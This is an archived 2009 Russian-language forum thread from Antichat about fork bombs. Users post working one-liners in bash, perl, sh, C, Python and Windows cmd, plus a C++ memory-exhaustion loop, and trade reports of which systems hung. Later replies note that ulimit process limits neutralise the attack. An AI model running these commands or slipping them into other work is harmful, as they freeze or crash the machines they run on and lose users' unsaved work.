HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > *nix
   
 
 
Опции темы Поиск в этой теме Опции просмотра

форк-бомбы
  #1  
Старый 04.03.2009, 18:16
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
С нами: 9391926

Репутация: 234
По умолчанию форк-бомбы

Винду можно повесить bat-файлом, чтобы сделать то же в линуксе нужно воспользоваться форк-бомбой(последствия запуска могут быть самыми плачевными). Вот примеры некоторых из них:

Не уверен не запускай!

1) bash
Код:
:(){ :|:&};:
2)perl
Код:
$ perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'
3)sh
Код:
$ echo '. ./_&. ./_'>_;. ./_
или создаем файлик с таким содержимым и (не)запускаем его
Код:
#!/bin/sh
$0 & $0 &
Предлагайте ещё варианты ^_^
 

  #2  
Старый 04.03.2009, 23:28
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию

Повесить винду множественными радиректами и выполнениями (загрузкоц ЦП) функция нп пхп и т.д. =)
 

  #3  
Старый 05.03.2009, 02:39
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

Мож я делаю что то не так? Или это уже все залатали?

Пробовал 1 и 3 ий варианты . Ни чего не произошло. Отсальные впадло писать

uname -a
Linux localhost.localdomain 2.6.27.15-78.2.23.fc9.x86_64 #1 SMP Wed Feb 11 23:11:11 EST 2009 x86_64 x86_64 x86_64 GNU/Linux

ЗЫ
Добавлю (выявил сегодня утром):
Эта гадость забила мне весь bash_history юзера из под которого запускал форк-бомбы своим дерьмом других неудобств вроде не замечено

Последний раз редактировалось tmp; 05.03.2009 в 12:03..
 

  #4  
Старый 05.03.2009, 17:32
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
С нами: 9391926

Репутация: 234
По умолчанию

Наверное это на новых кернелах.
На
Код:
Linux 2.6.21.5-smp #2 SMP Tue Jun 19 14:58:11 CDT 2007 i686 Intel(R) Celeron(R) CPU 2.00GHz GenuineIntel GNU/Linux
мне пришлось нажать резет.
 

  #5  
Старый 06.03.2009, 16:20
betakley
Новичок
Регистрация: 29.12.2008
Сообщений: 24
С нами: 9139874

Репутация: 20
По умолчанию

4) С
Код:
#include <unistd.h>
int main()
{
  while(1)
    fork();
}
5) Python
Код:
import os
while(1):
  os.fork()
 

  #6  
Старый 06.03.2009, 16:30
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
С нами: 10067064

Репутация: 455


По умолчанию

Цитата:
import os
while(1):
os.fork()
на 2 ядрах бесполезно....
да и интерпретатор быстрей повиснет чем система
 

  #7  
Старый 29.04.2009, 21:47
delux
Познающий
Регистрация: 11.06.2008
Сообщений: 39
С нами: 9430218

Репутация: 33
По умолчанию

rкопирайты на википедию хоть бы закинул
не раз уже читали
под_венду.cmd
%0|%0
 

  #8  
Старый 29.04.2009, 22:52
tux
Постоянный
Регистрация: 26.03.2009
Сообщений: 840
С нами: 9014739

Репутация: 517


По умолчанию

Форк бомбы на сегодняшний день малоэффективны. Ибо можно простой опцией ограничить кол-во порожденных процессов. Кстати, как и память, которую может забрать процесс. Под никсами, разумеется.
 

  #9  
Старый 30.04.2009, 19:38
cupper
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
С нами: 9963746

Репутация: 180


По умолчанию

народ а форк бомбы это тольео на загрузку проца ? а какже память ?
#include <iostream>
int main (){
while(1) char *a=new char[1024];
}
пару секунд и из 2г оперытивки и 1 гиг подкачки улетели, система почти умерла.
Оживил только тем что оставил активной консоль и там ctr+C и то несразу сработало. Так некто немешает сделать свой обработчик сигналов.
Если невтему извеняйте.
 

  #10  
Старый 01.05.2009, 14:35
tux
Постоянный
Регистрация: 26.03.2009
Сообщений: 840
С нами: 9014739

Репутация: 517


По умолчанию

http://webtools.live2support.com/linux/ulimit.php
При правильной настройке "форки" идут лесом.
Тут про то же по-русски. Правда, немного.

Последний раз редактировалось tux; 01.05.2009 в 14:37..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.